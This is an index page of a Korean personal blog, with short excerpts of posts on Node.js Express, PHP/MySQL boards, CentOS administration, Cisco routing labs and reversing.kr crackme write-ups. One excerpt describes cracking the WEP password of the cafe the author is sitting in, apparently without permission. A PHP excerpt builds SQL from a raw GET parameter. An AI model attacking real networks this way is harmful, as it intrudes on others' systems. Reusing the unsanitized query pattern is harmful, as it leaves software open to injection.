Node.js Express - GET Method 전송 [내부링크]

이전 게시글에서 노드 부트스트랩을 사용하면서 임의의 값을 입력받는 입력 폼을 만들었어요. 전송하기 버튼을 누르면 값 1, 값 2에 있는 값이 result 페이지로 전송됩니다. index.ejs <%- include("include/header") -%> <div class="container w-50"> <div class="form-floating mb-3"> <h1>익스프레스 메인페이지 입니다.</h1> </div> <h3>메소드를 GET으로 보내기</h3> <form action="result" method="get"> <div class="form-floating mb-3"> <div class="form-floating mb-3"> <input type="text" class="form-control" name="val1"> <label for="floatingInput">값 1 : </label> </div> <div class="form-floating mb-3"> <i

Node.js Express - POST Method 전송 [내부링크]

이전에 노드에서 GET 방식으로 메소드를 전달했는데 파라미터가 URL에 노출되지 않도록 이번엔 폼에서 POST 방식으로 메소드를 전달해 볼게요. 결과 화면 파라미터가 URL에 노출되지 않습니다. index.ejs에 저는 post로 보내는 폼을 하나 더 추가해 줬습니다. <%- include("include/header") -%> <div class="container w-50"> <div class="form-floating mb-3"> <h1>익스프레스 메인페이지 입니다.</h1> </div> <h3>메소드를 GET으로 보내기</h3> <form action="result" method="get"> <div class="form-floating mb-3"> <div class="form-floating mb-3"> <input type="text" class="form-control" name="val1"> <label for="floatingInput">값 1 : </label>

Node.js Express - Routing [내부링크]

라우팅은 HTTP 요청에 대한 응답하는 방법을 결정하는 것입니다. 웹 페이지를 확장시켜 나가면서 코드가 길어지면 유지 보수하기가 상당히 까다롭습니다. 그래서 노드에서 라우터를 분리하여 개발하는 것이 효율적입니다. 분리하여 어떻게 모듈화할지는 개발자 나름입니다. 프로젝트 구조 router - index.js / result.js router 폴더를 만들어서 라우터를 분리했습니다. index.js var express = require('express'); var router = express.Router(); router.get('/', function (req, res) { res.render('index'); }); module.exports = router; result.js var express = require('express'); var router = express.Router(); router.get('/result', function (req, res) { var va

Node.js Express - JQuery 사용하기 [내부링크]

jquery JavaScript library for DOM operations. Latest version: 3.6.2, last published: a day ago. Start using jquery in your project by running `npm i jquery`. There are 19256 other projects in the npm registry using jquery. www.npmjs.com npm jquery 문서 노드에서 자바스크립트 라이브러리 jquery를 사용해 봐요. 먼저 npm으로 jquery를 설치합니다. npm install jquery 설치 완료 의존성 추가되었는지 확인해 주시고요 프로젝트 폴더 안에 node_modules 보시면 설치가 되어 있습니다. 이제 app.js에 jquery 경로를 설정해 줍니다. //jquery app.use('/js', express.static(__dirname + '/node_modules/jquery/d

Node.js Express - 파일 업로드 [내부링크]

노드에서 폼데이터와 Multer를 이용하여 파일 업로드를 진행해 볼게요. 하면서 파일 이름이 중복되면 안 되니까 파일 이름도 같이 바꿔보도록 할게요.. Multer 모듈을 먼저 설치해줍니다. npm install multer 하고 저는 업로드하는 Router를 따로 만들어 줬습니다. 프로젝트 구조 index.js에 파일 업로드 폼 추가 <form action="upload" method="post" enctype="multipart/form-data"> <h3>파일 업로드</h3> <div class="input-group mb-3"> <input type="file" class="form-control" name="file"> </div> <div class="d-grid gap-2 mb-3"> <input type="submit" class="btn btn-primary" value="전송하기"> </div> </form> upload.js var express = require

Node.js Express - 이미지 불러오기 [내부링크]

업로드한 이미지를 img src 태그로 출력해 볼게요. img src="폴더/파일명"으로 하면 출력이 안될 거예요. 먼저 노드에서 정적 파일을 제공해 줘야 됩니다. 저는 upload 폴더 안에 이미지를 업로드했습니다. app.js //img app.use(express.static('upload')) index.ejs <%- include("include/header") -%> <div class="container"> <img src="logo.png"> <img src="1671157986921_image.png"> </div> <%- include("include/footer") -%> logo.png랑 1671157986921_image.png는 동일한 이미지입니다. 제일 첫 페이지 메인 섹션에 이미지 두 개만 출력했습니다. 귀여운 루피가 두 마리!!

Node.js Express - Mysql DB 접속 [내부링크]

노드에서 Mysql을 사용하려면 Mysql 모듈을 먼저 설치해야 됩니다. npm install mysql 설치 후에 바로 연결을 해봐요. 저는 데이터베이스 설정 관련 부분을 따로 모듈화 시켜서 사용했습니다. lib/db.js var mysql = require('mysql'); var db = mysql.createConnection({ host : '호스트주소', user : '유저', password : '비밀번호', database : 'DB', dateStrings: "date", }); db.connect(); module.exports = db; db 변수에 연결할 때 사용되는 정보를 입력해 준 뒤 connect() 메서드가 mysql에 연결합니다. query('sql',callback) 을 통해 질의문을 사용합니다. 이제 사용할 다른 모듈에서 var db = require('../lib/db'); db 정보를 불러온 뒤 사용하면 편합니다.

Node.js Express - CRUD 게시판 만들기 1 [내부링크]

시작하기에 앞서 기존에 만들었던 건 메뉴로 분류해버렸습니다.. 그리고 게시판도 하나의 메뉴로 사용할 거예요! 이렇게 ㅋㅁㅋ 파일 구조는 다음과 같습니다. lib/db.js : DB 접속 관련 모듈 router/board.js : 게시판 라우터 view/board/~ : 게시판에 렌더링 될 페이지 게시판 DDL 정보 CREATE TABLE `board` ( `idx` int(11) NOT NULL AUTO_INCREMENT, `writer` varchar(20) DEFAULT NULL, `password` varchar(20) DEFAULT NULL, `title` varchar(100) DEFAULT NULL, `content` text DEFAULT NULL, `date` datetime DEFAULT NULL, `del_yn` enum('Y','N') DEFAULT 'N', PRIMARY KEY (`idx`) ) 회원가입, 로그인이 따로 없는 게시판이라 게시글에 글쓴이와 비밀번호

권한에 따라 페이지 비정상 접근 방지 [내부링크]

일반 유저의 경우 http://hoowave.dothome.co.kr/user/userpage.html 관리자의 경우 http://hoowave.dothome.co.kr/admin/adminpage.html 입니다. 비회원이 일반 유저, 관리자 페이지 접근 일반 유저가 관리자 페이지 접근 하는 것을 방지해 볼게요. 현재 폴더 구조가 이렇게 되어있어요. 아 참 hothome은 다른 이유 없이 dothome 치려다 오타 나서 hothome으로 됐어요.. main 폴더 안에서 회원가입, 로그인을 처리하고 /user /admin 페이지로 분기하게 되는데 동시에 DB에서 받아온 회원 정보로 세션 값을 부여받습니다. 그 안에 권한 값도 있어요. $localdir=explode("/",$_SERVER['REQUEST_URI']); $localdir=$localdir[1]; 세션 값을 가져오기 전에 현재 로컬에서 접속된 URL을 가져옵니다. 슬러시 문자열로 잘라서 첫 번째 디렉터리 명을 가져옵니다

장뽕뽕 사이트를 오픈합니다. [내부링크]

장뽕뽕 공지사항 더보기 공지사항 사이트를 오픈합니다. 이벤트 더보기 무슨 이벤트를 올려야될까요~! 자유시장 더보기 컨텐츠 1 컨텐츠 2 컨텐츠 3 컨텐츠 4 컨텐츠 5 명예의 전당 LOVEFIRE 랭킹 2위 랭킹 3위 랭킹 4위 랭킹 5위 실시간 알림 user1님이 +12 강화에 성공했습니다. user2님이 +13 강화에 성공했습니다. user3님이 +14 강화에 성공했습니다. user4님이 +15 강화에 성공했습니다. user5님이 +16 강화에 성공했습니다. hoowave.dothome.co.kr 공부 한 내용을 사이트에 컨텐츠로 추가해 보고 사용된 기술은 블로그에 적으면서 복습할 생각입니다. 부트스트랩, Jquery를 이용해 프론트엔드 PHP, Mysql을 이용해 백엔드 ajax를 이용해 사이트 내 비동기 처리를 했습니다. 아직 많이 부족하고 배워나가는 단계이며 혼자 개발하는 사이트라 부족한 부분이 많을 수밖에 없습니다. 사용자나 개발자 입장 등 여러 관점에서 불편한 부분이나

공지사항, 이벤트 등 게시판 만들기 - 글쓰기 [내부링크]

장뽕뽕 공지사항 더보기 공지사항 사이트를 오픈합니다. 이벤트 더보기 무슨 이벤트를 올려야될까요~! 자유시장 더보기 컨텐츠 1 컨텐츠 2 컨텐츠 3 컨텐츠 4 컨텐츠 5 명예의 전당 LOVEFIRE 랭킹 2위 랭킹 3위 랭킹 4위 랭킹 5위 실시간 알림 user1님이 +12 강화에 성공했습니다. user2님이 +13 강화에 성공했습니다. user3님이 +14 강화에 성공했습니다. user4님이 +15 강화에 성공했습니다. user5님이 +16 강화에 성공했습니다. hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 먼저 admin_board 테이블을 만들어 줍니다. CREATE TABLE `admin_board` ( `id` int UNSIGNED NOT NULL, `menu` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL, `title` varchar(1

글쓰기에서 콘텐츠 영역 ckeditor 사용하기 [내부링크]

장뽕뽕 공지사항 더보기 공지사항 사이트를 오픈합니다. 이벤트 더보기 무슨 이벤트를 올려야될까요~! 자유시장 더보기 컨텐츠 1 컨텐츠 2 컨텐츠 3 컨텐츠 4 컨텐츠 5 명예의 전당 LOVEFIRE 랭킹 2위 랭킹 3위 랭킹 4위 랭킹 5위 실시간 알림 user1님이 +12 강화에 성공했습니다. user2님이 +13 강화에 성공했습니다. user3님이 +14 강화에 성공했습니다. user4님이 +15 강화에 성공했습니다. user5님이 +16 강화에 성공했습니다. hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 글쓰기 게시글에서 설명을 놓친 부분이 있는데, 게시글을 작성할 때 글자만 입력하고 작성하는 게 아니잖아요 뭐.. 폰트 스타일이나 사이즈, 굵기 등을 정하고 싶기도 하고.. 원하는 스타일이 있으니까.. 그래서 ckeditor라는 플러그인을 가져와서 적용해 볼게요. WYSIWYG HTML Editor with Collabora

공지사항, 이벤트 등 게시판 만들기 - 리스트 출력 [내부링크]

장뽕뽕 공지사항 더보기 공지사항 사이트를 오픈합니다. 이벤트 더보기 무슨 이벤트를 올려야될까요~! 자유시장 더보기 컨텐츠 1 컨텐츠 2 컨텐츠 3 컨텐츠 4 컨텐츠 5 명예의 전당 LOVEFIRE 랭킹 2위 랭킹 3위 랭킹 4위 랭킹 5위 실시간 알림 user1님이 +12 강화에 성공했습니다. user2님이 +13 강화에 성공했습니다. user3님이 +14 강화에 성공했습니다. user4님이 +15 강화에 성공했습니다. user5님이 +16 강화에 성공했습니다. hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 이전 게시글에서 작성한 게시글 리스트를 불러와보도록 할게요. 공지사항의 경우 이벤트의 경우 공지사항인지 이벤트인지 구분 짓기 위해 이 리스트 페이지로 이동할 때 파라미터 값이 붙습니다. ../menu/view_all.html?type=notice ../menu/view_all.html?type=event 이런 식으로요! 이

페이징 클래스로 생산성 증가 [내부링크]

장뽕뽕 공지사항 더보기 공지사항 사이트를 오픈합니다. 이벤트 더보기 무슨 이벤트를 올려야될까요~! 자유시장 더보기 컨텐츠 1 컨텐츠 2 컨텐츠 3 컨텐츠 4 컨텐츠 5 명예의 전당 LOVEFIRE 랭킹 2위 랭킹 3위 랭킹 4위 랭킹 5위 실시간 알림 user1님이 +12 강화에 성공했습니다. user2님이 +13 강화에 성공했습니다. user3님이 +14 강화에 성공했습니다. user4님이 +15 강화에 성공했습니다. user5님이 +16 강화에 성공했습니다. hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 불러올 데이터가 많아질수록 페이지에 그 데이터를 담기보다는 페이지 별로 나눠서 처리하면 더욱 보기 좋습니다. 사용자 입장에선 편한데 개발자 입장에선 까다롭기도 하고.. 저는 비동기 처리로 페이지를 로드하려다 보니까 그 과정에서 코드 루핑이 돌면서 트래픽이 미친 듯이 폭발해버렸어요.. 이런 식으로 만들었습니다. 매 페이지마다

공지사항, 이벤트 등 게시판 만들기 - 게시글 보기 [내부링크]

장뽕뽕 공지사항 더보기 공지사항 사이트를 오픈합니다. 이벤트 더보기 무슨 이벤트를 올려야될까요~! 자유시장 더보기 컨텐츠 1 컨텐츠 2 컨텐츠 3 컨텐츠 4 컨텐츠 5 명예의 전당 LOVEFIRE 랭킹 2위 랭킹 3위 랭킹 4위 랭킹 5위 실시간 알림 user1님이 +12 강화에 성공했습니다. user2님이 +13 강화에 성공했습니다. user3님이 +14 강화에 성공했습니다. user4님이 +15 강화에 성공했습니다. user5님이 +16 강화에 성공했습니다. hoowave.dothome.co.kr 개인 사이트에서 사용해 본 것을 토대로 작성하는 게시글입니다.. 이전에 작성하고, 리스트를 불러왔었습니다. 이번엔 게시글의 내용을 불러와볼게요. 불러온 게시글의 내용 view.html 소스코드 <? include $_SERVER['DOCUMENT_ROOT'].'/_common.php'; ?> <? $id = $_GET['id']; $sql = "select * from admin_boa

Node.js Express - 설치하기 [내부링크]

Node.js는 Javascript 런타임입니다. 싱글스레드, 논 블로킹 모델이라 처리 성능이 좋습니다. 그 말은 하나의 작업 자체가 많이 걸리는 웹 서비스에는 적합하지 않겠죠.. NPM(node pakage manger) 을 이용해 필요한 라이브러리와 모듈을 끌어다 쓴다는 큰 장점이 있습니다. 자세한 내용은 https://nodejs.org/ko/about/ 에서 확인하실 수 있습니다. Node.js Node.js is a JavaScript runtime built on Chrome's V8 JavaScript engine. nodejs.org 노드 공식 사이트입니다. 원하는 버전을 다운로드하시면 됩니다. 설치는 그리 어렵지 않아요. 그냥 경로설정하고.. Next.. Next.. Node.js를 설치하시면 NPM도 같이 설치가 됩니다. 설치가 완료되었다면 프롬프트 창을 켜서 설치된 버전을 확인해 줍니다. 설치된 노드 버전 확인 node -v 설치된 NPM 버전 확인 npm -v

Node.js Express - Nodemon 사용하기 [내부링크]

노드 서버를 개발할 때 자바 스크립트 파일을 수정할 때마다 매번 서버를 끄고 다시 실행해 주고.. 너무 번거롭습니다. Node monitor(Nodemon)이라는 모듈은 파일을 모니터링하고 있다가 저장(ctrl+s) 하면 자동으로 서버를 재실행 시켜줍니다. 상당히 편해요. npm install nodemon -g 커맨드 라인에서 명령어를 실행해야 되기 때문에 글로벌 옵션을 붙여줍니다. 설치 완료 기존엔 node app.js로 서버를 실행시켰지만 nodemon app.js nodemon으로 실행시켜줍니다. 이제 작업 창에서 파일을 수정할 경우, nodemon이 알아서 서버를 재실행 해줍니다.

무료 호스팅 사이트를 이용해 개발 환경 세팅 [내부링크]

리눅스나 윈도우 서버를 이용해 직접 웹서버를 운용할 수도 있지만 업체에 일정 금액을 지불하고 도메인, 호스팅 서비스를 이용할 수도 있습니다. 그 말은 웹서버를 따로 구축하고, 설정을 해 줄 필요가 없다는 말입니다. 그 업체에 있는 자원을 이용한다고 보시면 돼요. 닷홈 호스팅 닷홈은 도메인, 무료 웹호스팅, 웹빌더, 메일호스팅, SSL보안인증서, 서버호스팅, 코로케이션 등 다양한 호스팅 서비스를 제공하고 있습니다. www.dothome.co.kr 여러 업체가 있겠지만 저는 간단한 작업이나 테스트를 사용할 목적이기에 무료 호스팅을 사용했습니다. 뭐 하다가 규모가 커진다면 유료로 전환하면 되니.. 무료 호스팅은 SSH 접속 등의 제약을 받습니다.. FTP로 작업할 거니 괜찮아요! 개발 환경은 개인 취향에 맞게 세팅하시면 돼요. 저는 회사에선 Eclipse를 사용하는데 블로그 포스팅할 때는 맥북을 사용해서 그나마 가장 호환성이 괜찮다고 생각한 Brackets에 Synapse 플러그인을 사용

DB Connection [내부링크]

웹페이지에서 DB에 접속합니다. <?php $db_host=""; $db_user=""; $db_password=""; $db_name=""; $connect = mysqli_connect("$db_host", "$db_user", "$db_password", "$db_name"); if(!isset($connect)) { echo "DB에러! 관리자에게 문의하세요."; } print_r($connect); ?> $db_host : 접속 호스트 $db_user : 접속 ID $db_password : 접속 PW $db_name : 접속 DB 입력받은 정보는 mysqli_connect 함수를 통해 DB에 접속하게 되고, 접속 DB정보는 connect 변수에 입력 됩니다. connect변수에 DB정보가 입력되지 않으면 DB에 접속하지 못한거니, 에러 메세지를 출력하고 정상적으로 접속이 완료되었다면 정상적으로 DB접속 정보가 출력됩니다.

로그인 페이지 만들기 - 설계 [내부링크]

웹 서버까지 세팅이 완료가 되었다면, 홈페이지 구조를 만들어줍니다. 홈페이지 구조 main : 로그인 페이지 관련 폴더입니다. admin : 관리자 전용 페이지입니다. js : javascript 파일 관련 폴더입니다. lib : db접속, 설정 관련 폴더입니다. testpage : 회사에서 테스트 하던 페이지입니다. 여기선 사용X user : 일반 유저 전용 페이지입니다. index.html : 도메인을 통해 홈페이지에 접속했을 때 가장 먼저 접하는 파일입니다. _common.php : 각 설정 파일들을 모두 불러오는 파일입니다. _common.php <?php include '../lib/dbcon.php'; include '../lib/config.php'; include '../lib/class.php'; include '../lib/common.php'; ?> index.html <!DOCTYPE> <html> <head> </head> <body> <script langu

DB Connection - Class [내부링크]

DB Connection 웹페이지에서 DB에 접속합니다. $db_host : 접속 호스트 $db_user : 접속 ID $db_password : 접속 PW... blog.naver.com 이전 게시글에 이어 진행됩니다.. PHP로 DB에 값을 저장하고 검색하고 하는 작업을 하기 전에 질의문을 편하게 주고 받기 위해 클래스를 만들어서 사용합니다. Class DB { private static $connect; public function __construct() { $db_host=""; $db_user=""; $db_password=""; $db_name=""; $connect = mysqli_connect("$db_host", "$db_user", "$db_password", "$db_name"); self::$connect = $connect; } public function execute($sql, $type=null) { $sql = trim($sql); $sql_resul

회원가입 페이지 만들기 - 1 [내부링크]

로그인 페이지 만들기 - 설계 웹 서버까지 세팅이 완료가 되었다면, 홈페이지 구조를 만들어줍니다. 홈페이지 구조 main : 로그인 페이지... blog.naver.com 로그인 처리를 하기 전에, 회원가입 처리를 먼저 하는 것이 좋겠다 생각해서 회원가입 페이지 먼저 만들었습니다. join.html <? include '../_common.php'; ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>회원가입 페이지</title> </head> <body> <div align="center"> <h3>회원가입</h3> <p>ID : <input type="text" id="user_id"></p> <p id ="user_id_err" style="display: none">아이디는 4~20자로 입력해주

회원가입 페이지 만들기 - 2 [내부링크]

회원가입 페이지 만들기 - 1 로그인 처리를 하기 전에, 회원가입 처리를 먼저 하는 것이 좋겠다 생각해서 회원가입 페이지 먼저 만들었... blog.naver.com 회원가입 정보를 Front 단에서 입력받았다면 이번엔 Back 단에서 처리를 해볼게요 앞 게시글에서 완성하지 못한 script.js -> ajax 처리 함수 function call_ajax_main(type = null) { $.ajax({ url: 'ajax_main.php', type: "post", data: { type: type, id: $("#user_id").val(), pw: $("#user_pw").val(), }, success: function (result) { var result = JSON.parse(result); alert(result.message); if (result.url) { location.href = result.url; } }, error: function (xhr, stat

로그인 페이지 만들기 - 처리 [내부링크]

로그인 페이지 만들기 - 설계 웹 서버까지 세팅이 완료가 되었다면, 홈페이지 구조를 만들어줍니다. 홈페이지 구조 main : 로그인 페이지... blog.naver.com 회원가입 페이지 만들기 - 2 회원가입 정보를 Front단에서 입력 받았다면 이번엔 Back단에서 처리를 해볼게요 앞 게시글에서 완성하지... blog.naver.com 내용은 해당 게시글에 이어집니다.. 우선 공백 처리 방지를 위해 유효성 검사를 추가했습니다. main.html <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>로그인 페이지</title> </head> <body> <div align="center"> <h3>로그인</h3> <p>ID : <input type="text" id="user_id"></p> <p id ="

reversing.kr Music Player 풀이 [내부링크]

Reversing.Kr This site tests your ability to Cracking & Reverse Code Engineering. Now Challenge a problem for each environment. (Windows, Linux, .Net, Flash, Java, Python, Mobile..) Admin E-Mail: gogil @reversing.kr Notice 2014-12-12 New challenge 'CustomShell' was added. 2014-12-10 New challenge 'CRC2', 'Advent... reversing.kr 해당 사이트에서 여러 유형들의 예제 프로그램을 다운로드해 분석할 수 있습니다. 여기서 네 번째 문제인 Music Player 프로그램을 가져와서 실습을 진행해 봤습니다. 파일에 첨부된 readme 파일부터 읽어봅니다. 해당 MP3 플레이어는 1분까지만 들을 수 있게 되어있고 1분 이상 들으면 문제의 플래

Cisco Packet Tracer #OSPF Routing [내부링크]

Cisco Packet Tracer Cisco Packet Tracer Gain real skills with our powerful network simulation and visualization tool, Cisco Packet Tracer. This virtual lab is an interactive way to practice networking, IoT, and cybersecurity skills – no hardware required! Use Packet Tracer as a learning environment for courses, distanc... www.netacad.com Cisco에서 제공하는 네트워크 실습 프로그램 Packet Tracer를 이용했습니다. OSPF ( Open Shoertest Path First ) : OSPF는 Network 확정에 한계가 없습니다. RIP의 한계를 극복하고 규모가 큰 Network를 위해 고안되었습니다. 디지크스트

Cisco Packet Tracer #Router Password [내부링크]

Cisco Packet Tracer Cisco Packet Tracer Gain real skills with our powerful network simulation and visualization tool, Cisco Packet Tracer. This virtual lab is an interactive way to practice networking, IoT, and cybersecurity skills – no hardware required! Use Packet Tracer as a learning environment for courses, distanc... www.netacad.com Cisco에서 제공하는 네트워크 실습 프로그램 Packet Tracer를 이용했습니다. 1. 콘솔 라인 접근 암호 설정 패스워드를 hoowave로 저장해 주고 접근을 시도하면 패스워드를 요구합니다. 2. 관리자 모드 접근 암호 설정 패스워드를 hoowave로 저장해 주고 접근을 시도하면

CentOS 6.8 #IP 수동으로 할당받기 [내부링크]

VMware에서 IP를 DHCP로 할당받으면 192.168.1.128~로 받을 거예요. 하지만 수동으로 Client의 IP를 192.168.1.20으로 받아볼게요. Server OS IP 192.168.1.10 서브넷 255.255.255.0 게이트웨이 192.168.1.2 DNS 서버 168.126.63.1 로 세팅해 주고 OS를 Full Clone까지 한 뒤 Client OS의 IP를 192.168.1.20로 직접 수정해 보도록 할게요. Server ( 192.168.1.10 ) 에서 Clone 한 뒤 Client IP를 살펴보면 이더넷 1번으로 dhcp로 할당받는 걸 볼 수 있습니다. /etc/udev/rules.d/70-persistent-net.rules 를 vi로 열어볼게요. 맥 주소가 충돌 나서 이더넷 1번에 dhcp로 할당받습니다. 이더넷 0번으로 할당받게 하고 /etc/sysconfig/network-scripts/ifcfg-eth0 에서 맥 주소, IP도 수정 줍니

CentOS 6.8 #VNC Server 시스템에 원격으로 접속 [내부링크]

VNC : Virtual Network Computing / 리모트에 있는 시스템에 원격으로 접속하여 관리할 수 있는 프로그램. 설치가 간편하여 특별한 설정 없이 이용이 가능하고 원격 접속이 아닌 내 앞에 시스템 있는 것과 같은 해상도를 제공합니다. VNC 서버에선 세션 1개 = 계정 1개 = 포트 1개씩 설정을 해주셔야 돼요. 서버(192.168.1.11 / Putty 주황색), 클라이언트(192.168.1.20 / Putty 흰색)의 가상환경에서 VNC 서버를 구축하고 클라이언트에서 접속까지 해볼게요. 패키지 설치 및 확인 서버에는 tigervnc-server-1~ / 클라이언트에는 tigervnc-1~ 패키지로 설치해 줍니다. 2. 세션 생성 계정 생성이라고 생각하면 됩니다. 패스워드는 6자리 이상으로 설정해 주시고 만들어줍니다. 세션 생성 시 해당 폴더에 관련 vnc 관련 로그파일이나 계정 파일이 생성됩니다. 3. 방화벽 설정 5900 = VNCserver / 5901~ 60

CentOS 6.8 #mount 파티션 나누기 [내부링크]

하드디스크 장치를 추가하고 파티션을 나누고 포맷을 한 뒤 마운트까지 해봐요. 하드디스크 1GB를 추가합니다. sdb1 = 300MB / Physical Partition sdb2 = 300MB / Physical Partition sdb3 = etc.. / Extended Partition sdb5 = etc.. / Logical Partition 로 나눴습니다. 생성했던 파티션을 ext4형식으로 포맷합니다. mkfs -t ext4 /dev/sdb1 mkfs -t ext4 /dev/sdb2 mkfs -t ext4 /dev/sdb5 마운트 할 디렉터리를 생성하고 마운트하고 잘 되었는지 확인해 줍니다. mount -t ext4 /dev/sdb1 mount1 근데 이렇게 하면 휘발성이라 재부팅하면 날아갑니다. 재부팅해도 마운트 되게끔 /etc/fstab에서 설정해 줍니다. 필드에 해당하는 값을 입력해 주고 저장합니다. 이 작업하고 나서 mount -a로 fstab에 기술되어 있는 파일시스

CentOS 6.8 #fstab 오류로 부팅이 안될 때 [내부링크]

/etc/fstab 내용을 일부러 망쳐서 부팅이 안 되게끔 만들고 복구해 봐요. 정상적인 내용 경로를 일부러 망쳐놓고 저장한 뒤 재부팅을 해줍니다. 부팅 과정 중 파일시스템을 읽다가 오류가 납니다. root 패스워드를 요구하는데, 입력하고 나면 shell 모드로 바뀝니다. 이 상태에서 바로 /etc/fstab 내용을 수정하면 안 되고 Read, Write 권한을 따로 부여해야 수정하고 저장할 수 있습니다. mount -o remount,rw / 수정, 저장한 뒤 재부팅해 줍니다. 부팅 성공!!

Cisco Packet Tracer #Static Routing [내부링크]

Cisco Packet Tracer Cisco Packet Tracer Gain real skills with our powerful network simulation and visualization tool, Cisco Packet Tracer. This virtual lab is an interactive way to practice networking, IoT, and cybersecurity skills – no hardware required! Use Packet Tracer as a learning environment for courses, distanc... www.netacad.com Cisco에서 제공하는 네트워크 실습 프로그램 Packet Tracer를 이용했습니다. 라우팅 기술 중 수동으로 목적지를 지정해 주는 Static Routing 물리적인 구성 PC1 <-> Router1 IP : 192.168.10.1 Subnet : 255.255.255.0 Gatew

Cisco Packet Tracer #Dynamic Routing_RIP [내부링크]

Cisco Packet Tracer Cisco Packet Tracer Gain real skills with our powerful network simulation and visualization tool, Cisco Packet Tracer. This virtual lab is an interactive way to practice networking, IoT, and cybersecurity skills – no hardware required! Use Packet Tracer as a learning environment for courses, distanc... www.netacad.com Cisco에서 제공하는 네트워크 실습 프로그램 Packet Tracer를 이용했습니다. RIP은 동적 라우팅 프로토콜입니다. 관리자가 일일이 경로를 지정하지 않아도 길을 찾아갑니다. 디스턴스 벡터(Distance Vector) 라우팅 프로토콜로써 거리(홉)와 방향으로 길을 찾아갑니다.

Wi-Fi 해킹 #WEP Key Crack [내부링크]

Kali Linux | Penetration Testing and Ethical Hacking Linux Distribution Home of Kali Linux, an Advanced Penetration Testing Linux distribution used for Penetration Testing, Ethical Hacking and network security assessments. www.kali.org 공격 대상은 제가 지금 있는 카페입니다. 목표는 카페의 WI-FI 비밀번호를 알아내는 것입니다. 운영체제는 kali / 무선랜카드 2개 사용했습니다. 먼저, 랜카드를 Monitor 모드로 전환해 줍니다. 주변에 있는 AP들의 신호를 확인합니다. 저는 제가 지금 있는 카페를 대상으로 잡았어요. 공격 대상이 무슨 채널을 사용하는지 확인하고, 눈높이에 맞게 채널을 맞춰줍니다. WEP 암호화 방식 사용 중 초기화 벡터 값을 반복해서 사용하는 RC4 알고리즘으로 인해 많은 IV

CentOS 6.8 #SSH 취약점, 보안 설정 [내부링크]

SSH는 Secure SHell, 시큐어 셸입니다. 원격으로 클라이언트가 서버에 접근해서 읽기, 쓰기 등의 작업을 하도록 해 주는 프로토콜입니다. 22번 포트를 사용해요. 서버에 접근한 클라이언트가 관리자의 권한을 얻어서 뻘짓거리를 못하도록 사전에 막도록 해요. Server IP : 192.168.1.10 ( Putty 노란색 ) Client IP : 192.168.1.20 ( Putty 흰색 ) 1. 애초에 관리자로 접속하는 계정 차단 이 서비스는 접속할 때 관리자로 접속하는 걸 허용하는데 따로 막아주셔야 됩니다. 서비스 설정 파일 ( /etc/ssh/sshd_config ) 을 열어서 확인해 보면, PermitRootLogin yes가 주석 처리되어 있는 걸 볼 수 있습니다. 주석 풀고 no 해주시면 끝 세팅 파일 수정해 줬으니 데몬 다시 돌려주시고 클라이언트로 가서 관리자로 접속을 시도해 봅니다. 막혔음 근데 Putty도 SSH 사용해서 이거 하면 Putty도 접속 안됩니다.

CentOS 6.8 #Samba 윈도우와 리눅스 자원 공유 [내부링크]

SMB(Server Message Block)는 디스크나 프린터와 같은 자원을 윈도우와 리눅스가 공유할 수 있도록 하기 위한 프로토콜입니다. 이걸 이용해서 공유 폴더를 만들어 윈도우와 같이 사용해 봐요. 1. 설치 먼저 samba 패키지를 설치하고 데몬을 실행시켜줍니다. 포트 열렸는지 확인해 주고 방화벽을 개방시켜줍니다. selinux는 disable 시켜놨어요. 2. 사용자 및 그룹 생성 계정 user1, 그룹 group1을 생성하고 group1에 user1을 가입시켜줍니다. 사용자 samba 패스워드도 설정해 줍니다. 3. 메인 설정 파일 구성 /etc/samba/smb.conf 내에 워크그룹을 윈도우와 동일하게 맞춰줍니다. 제일 마지막 라인에 공유 폴더도 2개 세팅해 줍니다. 해당 작업을 한 뒤 testparm으로 오타도 검증해 볼 수 있습니다. 실제 공유 디렉터리를 생성하고 직접 확인하기 위해 테스트 파일을 각 폴더다 하나씩 만들었습니다. 그리고 윈도우에서도 접근하기 위해 권

reversing.kr Unpack 풀이 [내부링크]

Reversing.Kr This site tests your ability to Cracking & Reverse Code Engineering. Now Challenge a problem for each environment. (Windows, Linux, .Net, Flash, Java, Python, Mobile..) Admin E-Mail: gogil @reversing.kr Notice 2014-12-12 New challenge 'CustomShell' was added. 2014-12-10 New challenge 'CRC2', 'Advent... reversing.kr 해당 사이트에서 여러 유형들의 예제 프로그램을 다운로드해 분석할 수 있습니다. 여기서 세 번째 문제인 Easy Unpack 프로그램을 가져와서 실습을 진행해 봤습니다. 파일에 첨부된 readme 파일부터 읽어봅니다. OEP를 찾으라네요. OEP는 패킹된 프로그램의 실행되는 실제 시작점입니다. 그렇담 아마

CentOS 6.8 #grub 부팅 수동으로 하기 [내부링크]

미리 백업 폴더를 만들어서 grub.conf를 백업해두고 원본 파일을 지운 뒤 재부팅합니다. 부팅에 필요한 grub 파일이 없으니, grub consol 창으로 넘어옵니다. 하드디스크, 커널 동작 실행 최상위 정해주시고 프로세스 동작 실행해 주시고 부팅 시켜주시면 됩니다. 쯔즈즌

CentOS 6.8 #FTP-1 설정하고 접속하기 [내부링크]

The CentOS Project Toggle navigation The CentOS Project Community-driven free software effort focused around the goal of providing a rich base platform for open source communities to build upon. We offer two Linux variants: ( What's the difference? ) CentOS Linux Consistent, manageable platform that suits a wide varie... www.centos.org 로컬 컴퓨터 한 대로 윈도와 가상화(CentOS)에서 FTP를 설정하고 접속해 보겠습니다. 먼저 패키지가 설치되어 있는지 먼저 확인합니다. 설치되어 있으면 해당 명령에 대한 Response가 출력됩니다. 미설치 시 패키지를 설치합니다. 설치 완료. 그리고 데몬을 시작시켜줍니다. 저는 이 과

CentOS 6.8 #FTP-2 파일 올리고 가져오기 [내부링크]

